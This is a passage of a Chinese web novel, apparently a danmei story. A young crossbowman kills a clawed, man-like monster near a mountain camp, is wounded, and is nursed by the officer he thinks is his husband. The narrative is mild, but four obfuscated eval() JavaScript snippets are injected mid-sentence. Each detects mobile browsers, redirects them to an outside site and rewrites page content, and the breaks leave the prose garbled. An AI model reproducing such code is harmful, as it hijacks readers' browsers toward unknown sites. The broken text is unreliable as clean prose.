“咬人的又不是鬼,做法事管用?”祁煊想笑。 “这世间又不是只有人和鬼,还有邪祟妖异,做场法事驱邪,总比什么都不做要好吧?”陈秉忠道。 “没让你闲着呀。明日你让工匠们都停一日,大伙儿协力在营帐周围搭好围栏,往后牵狼卫会加强巡防,若那咬人的东西再来,咱们当场逮住他便是。”祁煊看起来不大想与他周旋,伸了个懒腰打算走人。 众人折腾了半宿,这会儿都疲惫不堪。 一旁的卢明宗更是困得哈欠连天,眼神都木了。 陈秉忠却不想就此放弃,极力劝说:“祁副统领你或许不知,那咬人的东西只怕并非是狼。我听老张说,那东西的眼睛在黑暗中会冒光,而且是红光。狼的眼睛怎么会冒红光呢?” “啧。”祁煊看他这架势,知道一时半会儿掰扯不清,就转头看向了卢明宗,道:“那且让卢大人推个适合的日子吧,既然是办法事总不能胡来。” 只要拖延几日,他带人尽快找到线索,将咬人那东西抓了,此事便可作罢。 陈秉忠被他说服了,朝卢明宗问道:“依卢大人之见,可否?” “可。”卢明宗余光瞥向祁煊,见他伸手晃了一下,便假模假式掐指一算,“五日后适合。” 陈秉忠觉得五日太久了。 但卢明宗这么说,他也不好再置喙。 “祁副统领,五日内你们能找出行凶之人?”两人一前一后出来,卢明宗朝祁煊问道:“他若再来还好说,若是就此隐入山林,总不能把山翻一遍吧?” 祁煊略感意外,“你怎么知道行凶的是人?” “虽然刚才那两下子是糊弄陈大人的,但我师父可是国师,我多少还是能窥见一点天机的。我不仅知道他是个人,还知道此番若想捉住他,多半得靠着潮落。” “你算到的?” “还用算吗?昨夜你们牵狼卫好几个人,都没见着那东西,只有潮落和他打了照面。”闻潮落的直觉和洞察力,犹如天赋,这一点有目共睹。 祁煊点了点头,并未反驳。 他甚至相信,闻潮落的弩的确射中了。 “走了。”卢明宗打算趁着天色尚未大亮,再补一觉。 祁煊却叫住了他,问道:“你以前喜欢去昌国公府?” “对啊,去找潮落。” “那你在他家留宿过吗?” 卢明宗挑了挑眉,意味深长地丢下一句“你猜”,便头也不回地走了。 这夜过得惊心动魄。 天刚蒙蒙亮,闻潮落就醒了。 他起身换上衣服,草草收拾了一番,便拎着弩准备出门。阿福本想给他弄点热水洗漱,他却摆了摆手,示意回来再说。 “公子,找狼的事有牵狼卫呢,这活他们干对口,您何必亲自去呢?”阿福怕他冷,找了件披风给他披上。 “他们叫的支援还没到,营里这几个人既要帮着搭围栏,又要巡防,顾不上去找人。”闻潮落扯了扯披风,又道:“再说了,昨晚我射出去两支弩箭,我得找回来。” 闻潮落这次带在身边的,是他最喜欢的一把弩,配套的弩箭仅剩二十支,丢一支少一支,所以他每次出手都得把弩箭回收。 还有一个原因,他没有告诉阿福:那东西昨晚本来是冲着他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396441|184294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 营帐来的,不知为何突然改了主意。 所以闻潮落必须亲自弄清楚。 “那小的叫几个人跟您一起去。” “你们帮不上忙,不必跟着。”这会儿营里正缺人手,连修祭天台的工匠都停了一天的工,他不想浪费人手,“一会儿你去厨房,跟咱们的厨子说我想吃馄饨,让他们给我开个小灶。” 闻潮落说罢便出了门。 他凭着昨夜追踪的记忆,在他第一次扣动悬刀的地方往前搜寻,很快找到了一支弩箭。 他把弩箭收好,继续往前,找到了东边那条小道,一直搜寻到了昨夜祁煊追到的地方,山道上尚留着清晰的马蹄印。 他没见到第二支弩箭,却在草丛里发现了血迹。 零星血迹被夜露浸湿后,变得浅淡,不走到近前几乎都难以察觉,幸而闻潮落目力过人。 有血,说明那东西受伤了。 闻潮落这把弩是找名家特制的,力道极大,对方吃了一支弩箭,哪怕不射中要害,估计也伤得不轻。 犹豫了一瞬,他还是决定进林子里看看。 闻潮落找了根木棍斜插入地上,指向前方的密林,木棍上则绑了他随身带着的帕子,以便让人知道他的去向。 随后,他便拎着弩进了林子。 林子里人迹罕至,草木茂盛,再加上那东西行动时脚步很轻,因此踪迹极不明显。但闻潮落洞察力过人,仅仅凭借零星弯折的草木,就能辨别出那东西留下的痕迹。 他在林中追踪了约有小半个时辰的工夫,那踪迹突然消失了,眼前的灌木看着没有任何弯折变形的痕迹。 那东西总不至于跑到这里突然飞了吧? 闻潮落心念急转,眼角余光瞥见了近旁树干上的一抹痕迹,那是一处血污,因为印在树干的另一侧,所以闻潮落站着的角度只能看到一点点红。 树干上沾着血迹…… 闻潮落猛地抬头,几乎是与此同时,一道劲风自他头顶袭来,一只沾着血的爪子眼看就要抓上他的天灵盖。 闻潮落偏头避过,然而对方速度太快,爪尖还是在他左侧颧骨处留下了一道血痕。 “竟然偷袭,好不要脸!” 闻潮落一手提弩便射,在弩箭飞出的刹那,他看清了那东西的模样。 那是……一只像人的怪物。 怪物披头散发,双目赤红,龇着尖牙,脸上长着浓长的黑棕色毛发,像只发了疯的大猴子。 “大猴子”反应极快,避过弩箭,一只手拽住树枝,另一手再次抓向闻潮落。闻潮落本就不擅长徒手近战,再加上那“大猴子”占尽了天时地利,这一爪结结实实抠进了闻潮落的肩膀。 钻心的疼痛袭来,闻潮落怀疑自己的胳膊要被那东西扯掉了。他痛到极点,反而被激发出了斗志。 既然挣脱不了,他干脆扔了弩,抬手抓住“大猴子”腰侧露出的半截弩箭猛力一扯,箭尖上的倒刺勾着血肉和内脏,被他一把扯了出来。 那是昨晚闻潮落射出的第二支弩箭。 随后,“大猴子”直直坠落下来,将他砸了个结结实实。 好疼! 闻潮落差点哭出来。 他疼得意识模糊之际忍不住想,早知道要动手,应该叫着姓祁的一起来。 那家伙皮厚,不怕疼。 8. 晋.江独家发表 闻潮落神志不清之际,感觉自己仿佛被巨石压住,浑身动弹不得,四肢百骸都疼得厉害。 但随即,他便觉身上的“巨石”似乎动了。 意识短暂回笼,他想起了压在自己身上的“巨石”是那只“大猴子”。 “大猴子”并没有死,开始缓慢挪动身体。 闻潮落竭力想动,身体却不听使唤,只剩零星的意识勉励支撑着没有彻底昏迷。 完了,他要死了。 那东西一旦可以动弹,一爪子就能把他的脑袋拍碎。 闻潮落脑海中已经不受控制开始走马灯,想在生命结束之前,快速地回忆一下自己的人生。他这十九年的人生称得上顺遂,父母兄姊都对他疼爱有加,读书习武也成绩不俗,就连夫君亦是牵狼卫最年轻的副统领…… 夫君? 他和祁煊是何时成的婚来着? 他怎么完全不记得他们大婚时的情形? 闻潮落正纳闷的工夫,那只“大猴子”已经挪动身体爬出了老远,看起来没有拍死他的打算,又或者以为他已经死透了。 “呜~” “大猴子”发出低低的哀鸣,似乎是感觉到自己的生命将尽。 但它并没有停下动作,而是拖着流血不止的身体,艰难地朝着某个方向挪动,仿佛想要死在离某个去处更近一些的地方。 只可惜,徒劳无功。 “大猴子”最终趴在距离闻潮落两丈外远的地方,彻底不动了。 它死了吗? 闻潮落茫然地想着。 半昏半醒之际,他听到有人叫他的名字。对方似乎很着急,唤他的声音一次比一次近,像是急奔而来。 他张了张嘴想要回应,却发不出声音。 “闻潮落!” 那声音终于到了近前,闻潮落心里那根弦一松,彻底昏睡了过去。 祁煊跪在满身是血的闻潮落面前,连呼吸都险些忘了。眼前之人双目紧闭,大半张脸都沾着血迹,仅剩的小片没沾血的面颊,就像红莲里生出了一瓣白,脆弱得濒临破碎。 而他那身浅青色的袍子,几乎被血浸透了,一道自左肩延伸至胸腹的伤口更是触目惊心,一眼望去甚至能看到零星的碎肉和大团的血块…… 人伤成这样,还能活吗? 祁煊心都凉了半截,懊恼又愤怒。 他懊恼自己为何没有早点赶过来,又气闻潮落为何自作主张独自前来寻找那东西的踪迹。如果闻潮落死了…… 这念头令祁煊心脏猛地缩紧,继而生出了一股从未有过的惶然。 以后是不是再也没法逗他了? 再也看不到他哭,再也没法惹得他炸毛发怒…… 直到颤抖的指尖,探到闻潮落微弱的鼻息,祁煊那颗缩紧的心脏,才重新恢复跳动。 “闻潮落?不要睡着,别睡!”祁煊脱下衣服打算帮闻潮落止血,碰到对方胸腹上的碎肉血块时,才发觉那不是闻潮落的。 但这并没有让他放心,因为他一时根本无法分辨闻潮落伤到了哪儿。 祁煊果断解开了闻潮落的衣服,以便找到伤处尽快止血。期间闻潮落唇齿不清地喊了几次疼,祁煊动作却没有丝毫迟疑,快速检查和止血是牵狼卫必备技能。 好在,闻潮落的伤都不在要害。 祁煊帮他止了血,又用外袍将人裹住,这才发觉昏迷的闻潮落手里还攥着那支弩箭。 看见箭头沾着的血肉,祁煊便猜到了怎么回事。 卢明宗说得没错,最后结果了那东西的人,确实是闻潮落。 祁煊将人带回去时,太医和大夫看到那一身血也吓得够呛。阿福更是急得团团转,想哭又怕不吉利,索性跑到外头去求菩萨和老天爷,生怕自家公子有个万一。 祁煊在一旁立着,一言不发,眸光却未从闻潮落身上挪开半分。 太医和大夫联手,将闻潮落身上的衣服剪开,又拿布巾抹掉伤口周围沾着的血污,露出了左肩上清晰可见的三个血洞。 “那东西的爪子很锋利,刺得很深,伤口必须清理干净,否则容易感染。”太医说罢,一旁的大夫便协助准备好了干净的布巾,清水和酒。 然而令人没想到的是,原本昏迷的闻潮落,竟是在清理伤口时被疼醒了。 “按住他,别让他乱动!”太医忙道。 祁煊闻言大步上前,本想按住闻潮落一侧的身体,但他伤口在左肩上,很难找到着力点,想要控制住不让人乱动又不把人弄伤,实在不是件容易的事情。 闻潮落毕竟是习武之人,哪怕受了伤力气依旧不容小觑。 “不能弄点止疼散吗?”祁煊拧眉问道。 “来不及,抓了药熬好再等药效发作,且得等一阵子呢。更何况这止疼散也不可能彻底止住疼,只是略有缓解而已。”太医说。 无奈,祁煊索性上了榻,用两只腿压住了闻潮落的腿,一手绕过对方后背将人揽住,另一手绕过闻潮落的脖颈将人扣在了怀里。 如此,闻潮落所有能发力的地方,都被祁煊牢牢困住了。 这姿势确实控制得挺稳,闻潮落挣动了几次无果,初时还只是骂骂咧咧,后来疼得一口咬在了祁煊手臂上。 “很快就好了,再忍一忍。”祁煊在闻潮落耳边低声安慰。 闻潮落尝到嘴里的血腥味,眸中戾气渐渐散去,随即又没了意识。 闻潮落肩上虽伤得不轻,也流了不少血,好在没有别的致命伤,休养些时日便可慢慢恢复。 祁煊待一切处理妥当,才回去换了身衣服。 “我说得没错吧?”卢明宗路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396442|184294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过祁煊门口,恰好撞上刚换完衣服的祁煊。 祁煊瞥了他一眼,语气不善:“你没说他会受伤。” “我又不是神仙,哪可能什么都算到?再说了,我都提醒你了,你怎么就没想到他会遇上危险?潮落最不擅长的就是近战,那东西长得比熊还壮,没被他拍死算命大。” 那只“大猴子”的尸体已经被牵狼卫的人拖了回来,卢明宗方才去看的时候都忍不住替闻潮落捏了把汗。 祁煊眸光微沉,并未再理会卢明宗,而是去看了一眼那只“大猴子”的尸体。 这会儿尸体边围了不少人,大伙儿你一言我一语,已经将那东西定性成了“怪物”。那东西长得太奇怪了,半人半兽,还差点咬死人,不是怪物又是什么? “好锋利的爪子,还有这尖牙,幸好闻小公子及时把它弄死了,否则将来定然会再出来害人。”修造使陈秉忠围着“大猴子”转了一圈,又指着那东西的腿道:“这腿多结实啊,怪不得跑得那么快。要不是闻小公子擅使弩,这怪物咱们还真是不好捉。” 一大早派去京城的人,过午就快马加鞭回来了,同来的还有二十名牵狼卫和皇帝的旨意。 “陛下要咱们务必抓住行凶者,保证祭天台顺利按时完工。”吴千钧道。 “拟一份文书朝陛下回话,秉明行凶者是一只似人似猴的怪物,闻潮落亲自捉住并处置了,还因此负了伤。”祁煊说。 吴千钧闻言明白祁煊这是在替闻潮落表功,当即应声而去。今日闻潮落这一手虽然惊险,但无论是胆识还是武艺,都实在令人佩服。 牵狼卫的人虽自视甚高,却也有惜才之心。 闻潮落睡了不足一个时辰就醒了。 他睁开眼睛时,对上守在榻边之人的目光,吓了一跳。 祁煊这家伙不知是不是吃错了药,盯着他时那眼神跟条野狗似的,看着怪怪的。 “醒了?”祁煊开口。 “疼死我了,怎么不给我弄止疼散?” 闻潮落醒来时,伤口还在疼,眸中盈着点水光,像是要哭。 “喂了一些,但太医说药力有限。” “那你倒是想想办法啊,就让我这么疼着?” 闻潮落有点气恼,又有点委屈,他觉得自己这位夫君极不称职,平日里没点用处就罢了,如今他都受伤了,对方也跟块木头一般,就知道干坐着。 “要不你再咬我一口?”祁煊问。 闻潮落最怕疼,祁煊是知道的。 他能怎么办呢? 他倒是希望能替对方疼,可惜这种事情偏偏又替不了。 “咬你有什么用?这种时候,你不应该抱着我吗?”闻潮落抱怨道:“什么都得旁人教?” 祁煊:…… 原来,这种时候应该抱着? 9. 晋.江独家发表 祁煊有点尴尬,又有点茫然。 但闻潮落那副模样太可怜了,这种时候别说是抱着了,就算对方要在他身上扎一刀他多半也不会拒绝。 祁煊围着榻边转了两圈,比划了好一阵子都没找到合适的姿势。闻潮落伤在左肩,他若想抱着人又不碰到伤口把人弄疼,就只有一个办法。 于是,祁煊找了个薄毯小心翼翼将人裹好,然后从右侧将人打横抱起,让闻潮落侧身坐在了他腿上,很巧妙地避开了对方左侧的身体。 闻潮落闷哼了两声,很快适应了这个姿势,将脑袋窝在了祁煊肩上。 青年温热的呼吸洒在颈侧,令祁煊的身体不由有些僵硬。然而此时的祁副统领不敢乱动,生怕再把人弄疼了,只能老老实实把人抱在怀里。 他觉得这时候的闻潮落很像小猫。 原来的小猫只喜欢冲他炸毛生气,稍一招惹就会被挠,如今方知小猫委屈的时候竟然会这么温顺,仿佛连呼吸都是软的。 想想真是奇怪,明明是那么厉害的一个人,能只身干掉那只“大猴子”,但怕疼的时候却又这么委屈,仿佛随时会疼得掉眼泪。 祁煊低头,视线所及是青年白皙的侧颈。他不知想到了什么,目光微闪,随即欲盖弥彰地看向了别处。 不多时,阿福端着一碗热腾腾的馄饨来了。 他家公子一大早就说想吃馄饨,他特意去让厨子准备了,谁知公子回来就伤成了那样,至今都没顾得上吃东西。一想到这些,阿福就心疼得不行。 “唔……好香。”闻潮落嗅到香味,立刻醒了。 祁煊觉得有些好笑,没想到怀里这只还是馋猫。 “祁副统领,这馄饨是您喂,还是小的喂?”阿福问。 “我来吧。”人在祁煊怀里,再折腾又要喊疼了。 于是阿福便端了只小桌过来,将馄饨放到了小桌上。 热腾腾的馄饨,里头洒了芫荽,还滴了香油,闻着令人食指大动。原本还精神萎靡的闻潮落,这会儿整个人都精神了不少,眼巴巴看着桌上的馄饨等着祁煊喂他。 “张嘴。”祁煊一手端着碗,另一手拿着勺子喂他。 闻潮落正要吃,被热气烫了一下,不满道:“烫。” 祁煊无奈,只能给他吹凉,再喂到嘴里。 阿福在一旁偷偷观察,心道这祁副统领还真是好配合啊,只怕话本里都未必有眼前这么周到。还是他家公子有手段,三两下就把人拿捏的死死的。 就是这情景看着有点怪。 他家公子为了话本创作,牺牲当真不小。 一碗馄饨喂完,另一个小厮又端了药送来。 闻潮落嫌药苦不想喝,祁煊便耐心哄着,竟是真把药喂进去了。 阿福看得啧啧称奇,心道果真是一物降一物。 喝完了药,闻潮落嘴里含了颗蜜饯,又倚在祁煊身上睡了。后来吴千钧过来找祁煊,说是有事要商量,祁煊才小心翼翼将人放下。 临走时怕闻潮落被蜜饯卡着,他还特意将对方含着的蜜饯扣了出来。 “头儿,闻小公子可好些了?”吴千钧问。 “伤得不轻,怕是得养一阵子。”祁煊叮嘱了阿福守在帐中,这才带着吴千钧离开。 “大伙儿都在议论,说闻小公子当真好威风,竟能凭一己之力制服那怪物。属下仔细看过,那怪物个头不小,想来速度和力道都非比寻常,哪怕属下对上都未必打得过。”吴千钧说。 祁煊瞥了一眼吴千钧,“你武艺本来就不及闻潮落,他只是不爱跟人动手罢了。” “嘿嘿,那是。”吴千钧也不恼,又道:“头儿上回说的适合来牵狼卫的人就是闻小公子吧?属下听说他一直属意擎苍卫,要不您忽悠他来咱们这儿吧。咱们营中能打的人不缺,但擅长追踪的都让擎苍卫弄去了,就缺个闻小公子这样的。” “你太看得起我了,禁军的人都请不动闻潮落,我哪有那么大面子。” “您和闻小公子不是走得挺近……“吴千钧依旧不愿放弃。 祁煊不愿与他纠缠,转移话题道:“营中防卫安排得如何了?” “营地一圈都加装了围栏,预计天黑前就能完工。” “自今日起,入夜后所有人分两班轮值,两人一组,一个时辰轮换一次。白天在营地留几个人,剩下的去祭天台,务必保证不会再有人受伤。” 说罢,他又想起了什么,问道:“狗子呢?” “都在后头拴着呢,怕吓到工匠,没放开。” 今日和牵狼卫同来的,还有四只细犬。 细犬是牵狼卫豢养的兵犬,擅追踪警戒,一旦遇到危险能及时示警,有时候比人还管用。祁煊在牵狼卫中犬缘极好,哪怕不经他手训练的细犬,见了他也都很听话。 两人到了营地后方,就见四只细犬规规矩矩趴在地上。 细犬远远看到祁煊,立刻从地上弹起,一边低声哼唧一边疯狂摇尾巴,不知道的还以为它们都是祁煊家养的狗。 “一会儿天黑了就把你们放开,但是要听话,不能吓唬人,更不能乱叫。”祁煊走近,伸手一一摸了摸狗头,又拿过吴千钧袋子里的犬粮挨个喂了一块。 说话间,有人来报。 说是修造使陈秉忠请祁煊过去一趟。 祁煊带着吴千钧一道过去,到了地方才发觉太医和卢明宗也在,除此之外地上还摆着一具尸体。那尸体乍一看还以为是个人,仔细看竟是闻潮落亲手了结的那只“大猴子”。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396443|184294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 只是“大猴子”如今被剃了毛,看着有点不伦不类。 “这是干什么?要下锅煮了加餐?”祁煊问。 “祁副统领真会开玩笑,咱们请您来,要说的就是这怪物的事儿。”陈秉忠道。 一旁的太医适时开口:“老夫与国公府的大夫,还有卢大人商讨了一番,一致认为这只怪物更像是人。” 祁煊闻言凑近看了看,那只“大猴子”被剃了毛之后,身体原本的样貌露出来了,看着确实很像人。它除了身形比普通成年男子略高壮一些,身体构造和四肢甚至五官,都和人有着七八分相似。 不同之处在于,他嘴中长出了尖利的犬齿,手上也长出了锐利的爪尖,四肢关节看着也略显粗.大一些。 “还是个男子?”祁煊目光扫过某处。 “是,若这东西也能生养,只怕还会有后代。”卢明宗开口。 此言一出,在场众人顿时起了一身鸡皮疙瘩。 单是这一只,他们就够受的人,若非闻潮落出手还不知何时能抓到。若是再来几只,他们还如何应付得了? 祁煊对此倒是并不意外。 若非有这一层考虑,他也不必加强营中的防卫。 他更担心的都不是这东西是否有后代,而是除了这东西之外,这林中是否还有别的他们闻所未闻的怪物?亦或是变成了怪物的人? “依诸位之见,这东西是怎么来的?”祁煊问。 “许是天生妖异,亦或是人染了什么奇怪的病症身体发生了变化,这个咱们只能猜测,一时无法拿出实证。”太医说。 这东西的确超出了他们的认知,暂时不好下定论。 祁煊想到什么,蹙了蹙眉,“这东西,该不会传染吧?” “这……”太医和大夫面面相觑,都没接话。 若是会传染,那被咬的工匠和闻潮落岂不危险? 这话没人敢打包票,亦没人敢胡乱猜测,众人都默契地没再继续这个话题。 当夜,祁煊亲自带着细犬巡察了一遍营地。 待确认一切如常后,他去了闻潮落的营帐。 闻小公子到底是习武之人,身体底子并不差,这会儿面色已经恢复得不似先前那般苍白了,只看着依旧没什么精神。 “还疼吗?”祁煊问他。 “好些了,我要沐浴,你去给我弄水。”闻潮落说。 “你身上的伤不能沾水,沐浴得等几日。”祁煊说,“而且营地里天冷,又不会出汗,你不必日日沐浴。万一着了凉,岂不伤上加伤?” 闻潮落却不大乐意:“我不沐浴身上痒痒,睡不着觉。” “身上痒痒?”祁煊想了想,贴心地提议道:“要不我给你挠一下?” 10. 晋.江独家发表 祁煊这提议说出口,就后悔了。 他觉得闻潮落不会答应,甚至有可能着恼。 然而闻潮落听了这话后,并没有表现出不悦,只是对不能沐浴一事略感不满。 “你先去净手。”闻潮落朝祁煊道。 祁煊面对闻小公子这些琐碎又理直气壮的要求,早就习以为常,并没有提出异议,任劳任怨地去净了手。 待祁煊净了手回来时,闻潮落已经躺进了被子里。祁煊以为他等不及先睡了,正欲转身离开,却闻他开口道:“快点。” “我以为你要睡了。”祁煊说。 “身上痒,睡不着。”闻潮落声音带着倦意,比平日里更显慵懒。 祁煊走到榻边,掀开他的被子。 闻潮落却不满地质问道:“掀我被子做什么?” “不掀被子我怎么给你挠痒痒?” “你进来挠,顺便给我暖被窝。” 暖被窝? 闻潮落到底是怎么想出了这么莫名其妙的要求? 祁煊觉得,一个大男人给另一个大男人暖被窝,此事当真不着调。但闻潮落这话说得自然,他若扭扭捏捏,反倒显得心思龌龊。 于是,祁煊将外袍一脱,毅然钻进了闻潮落的被窝。 “你身上怎么这么凉?”祁煊有些惊讶。闻潮落明明已经躺进被窝有一会儿了,但这会儿被子里却半点热乎都无,冷得祁煊都忍不住打了个寒颤。 “这破营帐连个挡风的门都没有,能不凉吗?”闻潮落翻了个身,指使祁煊,“挠吧,后背都帮我挠一遍,尤其是肩膀的地方。” 祁煊将手搓热,探进了闻潮落的衣服里。 男人指腹带着薄茧,擦过后背的皮肤时激起一阵战栗。闻潮落觉得十分惬意,便任由他施为,指挥着对方挠完了左边挠右边,务必要上上下下都照顾到。 “好了吗?”祁煊仔细挠过一遍后,问道。 “前面也痒。”闻潮落翻了个身,平躺着。 祁煊只得又帮他挠肚子。 闻潮落的肚子腹肌很薄,不发力时摸着有点软,这令祁煊不禁想起了他身上另一处地方的触感。可惜,那日被吴千钧打断,只来得及戳了两下。 不对! 他脑子里究竟在想些什么啊? 祁煊被自己方才的念头吓了一跳,强行终止了奇怪的联想。 “往上一点,再右边一点。”闻潮落懒洋洋地指挥。 “咦,这是……”祁煊捻住捏了一下,立刻意识到了什么,忙挪开了手。 “好玩吗?”闻潮落问他。 “不好玩,不是,好玩……我的意思是……”祁煊舌头有点打结,又不想让气氛变得尴尬,于是口不择言地开了个玩笑,“你这个好像比我的小一点。” 闻潮落并没有恼,而是盯着祁煊问道:“你喜欢大的?” “不是,别瞎说。” “那就是喜欢小的。” “我……” 祁煊简直哭笑不得,这个话题太不正经了,他正想着该如何反驳,却见闻潮落闭着眼睛,呼吸均匀,竟是已经睡着了。 闻小公子这快速入睡的本事,还是一如既往地稳定。 祁煊怕自己起身将人吵醒,便打算再待一会儿,等人彻底睡熟了再回去。他枕着胳膊侧躺,眼前是闻潮落的侧脸,眉眼深邃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396444|184294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,鼻梁高挺,双唇饱满且染着恰到好处的红,很好看。 闻潮落的皮肤很白,身上也很香。 真奇怪,明明嚷嚷着说这两日没沐浴,可闻起来还是有淡淡的香味。 到底是用了什么熏香,怎么这么好闻? 祁煊觉得好奇,便想仔细闻一闻。 没想到他刚凑到闻潮落近前,对方就睁开了眼睛。 两人四目相对,气氛一时十分微妙。 “我,我正准备要走呢,你接着睡吧。”祁煊莫名有些心虚,匆忙起身离开了闻潮落的营帐。 这晚回到自己的住处后,祁煊翻来覆去许久才睡着。因为在闻潮落的营帐里待了太久,他身上沾染了对方身上的淡香味,这让他半睡半醒间以为自己尚未回来。 后来,他做了许多奇怪的梦。 他梦到了闻潮落,梦里的闻小公子依旧跋扈,不仅让他挠痒痒,还让他抱着。 祁煊怀里抱着人,鼻息间又嗅到熟悉的香气,忍不住便想一探究竟。初时他还只是嗅一嗅闻潮落的衣服和头发,后来觉得不够,便解开了对方的衣服,开始嗅他的脖颈和心口…… 再后来他似乎觉得这些不够,改嗅为咬。 殷红的牙印,毫无章法地落在闻潮落身上,哪怕是在梦里,也显得触目惊心。 直到一声闷哼响起。 祁煊大口呼吸着,醒了过来。 他坐在榻上冷静了许久,而后将手伸进被子里摸了一把,面色变得十分复杂。 他还是人吗? 怎么会在梦里对闻潮落做出这样的事,还…… 一定是营中这几日伙食太好,吃得上火了! 11. 晋.江独家发表 一大早太医来给闻潮落换药。 闻潮落体质好,伤口恢复得不错,再养几日就能恢复大半。 “老夫这趟来营中,是因为闻小公子地动时磕了脑袋。如今小公子既已行动自如,还亲自了结了那么大一只怪物,可见脑袋的伤已无大碍。”太医朝闻潮落道。 言外之意,他终于可以回京城了。 “是吗?”闻潮落对此表示怀疑,“我总觉得脑袋有点怪怪的。” “闻小公子说脑袋怪怪的是何意?头疼?” 闻潮落认真想了想,开口道:“很多事情记不真切,有些事明明以前发生过,但是我却怎么也想不起来。有时候,我还会觉得像做梦一样……” 比如,他记得自己和祁煊成婚了,却无论如何也想不起他们是何时成的婚。再比如,他有时候面对祁煊会有一种没来由的亲近,有时候又会觉得很烦躁,总想冷嘲热讽针锋相对。 “脑袋受伤是会这样的,慢慢养一养就恢复了。”太医说这话倒不是敷衍,实际上大部分人哪怕没有磕到脑袋,也会符合闻潮落所说的“症状”。 没有人能记得所有事情不忘,也没有人能一直保持清醒。遗忘和偶尔的恍惚感,是正常的。更重要的是,他通过这几日的观察,认定闻潮落思维清晰,并无不妥。 “好吧。”闻潮落并未纠缠。 他也不好为了自己,硬把太医院院判留在营中。 太医本以为今日便可回京,谁知刚把闻潮落的伤口处置好,就有人匆匆赶来寻他,说是此前被“怪物”咬伤脖颈的老张出事了。 太医闻言,立刻赶去了老张的营帐。 国公府的大夫先一步到,显然已经诊治过了,表情有些凝重。 “是伤口感染了吗?”太医问。 “依在下之见,不是寻常的感染。”大夫引着太医和闻潮落近前查看,就见老张脖颈的伤口隐隐发着青,伤口处不仅没有结痂,反而溢出了好些黑色的血水。 太医面色极其难看。 众人最担心的事情还是发生了,那“怪物”的咬伤有毒。 他不敢耽搁,立即将此事告知了祁煊,让对方朝皇帝秉明此事。 “咬伤有毒,那抓伤呢?”祁煊看起来十分紧张,“闻潮落肩膀上的伤可有异样?” “祁副统领放心,闻小公子伤口恢复得很好,并没有异样。” 祁煊闻言这才松了口气。 他当日就写了封折子,秉明了此事。 次日,宫里来了两道旨意。 一道是嘉奖闻潮落处置了那只“怪物”,特予了他东宫执戟的官职。另一道则是给祁煊的,令他派人把那只有毒的“怪物”尸体处理干净,并确保灵山附近没有别的威胁。 “恭喜闻小公子,往后就要称呼闻执戟了。” 修造使朝闻潮落道喜,在场的众人也纷纷附和。不过闻潮落对此并未表现出喜悦,这差事和职务都是太子自作主张替他安排的,并非他心中所愿。 但他当着众人的面也不好说什么,否则定要被说成不识好歹。 闻潮落心中正郁闷呢,转头看到祁煊正盯着自己,便没好气道:“看什么看?” “恭喜,闻执戟。”祁煊嘴上说着恭喜,视线却有些闪躲。自从那夜做了那样的梦之后,他就不知该如何面对闻潮落,心中很是羞愧。 “呵,别以为我不知道你心里在想什么。”闻潮落道。 “我……我什么都没想。”祁煊心虚不已,暗道那只是个梦,自己从未对旁人提过,闻潮落怎么可能知道? “你肯定在想,我是太子殿下的小舅子,凭着这层关系轻易就能得到别人求不来的差事,京城还不知道有多少人羡慕呢。” 祁煊一怔,顿时明白了。 这确实是个好差事,可闻小公子不喜欢。 “旁人或许会这么说,但在我看来,你就算不是太子殿下的小舅子,这差事你亦是手到擒来。”祁煊略一思忖,又道:“你若是真不喜欢,回京后朝殿下推了这差事便可,满京城这么多武职,还有你做不来的吗?何苦这般烦恼。” “你懂个屁。”闻潮落有些烦躁。 正说话间,吴千钧过来了,身后还跟着一只细犬。 “闻小公子,恭喜啊。”吴千钧并不知两人方才的对话,见了面便朝闻潮落贺喜,又道:“我还想着我们头儿能说动你去牵狼卫呢,没想到被太子殿下捷足先登了。” “你们牵狼卫差事太辛苦,我可做不来。”闻潮落说着瞥了祁煊一眼,他怎么不记得这家伙邀请过自己去牵狼卫? 祁煊并未接茬,而是生硬地转移了话题。 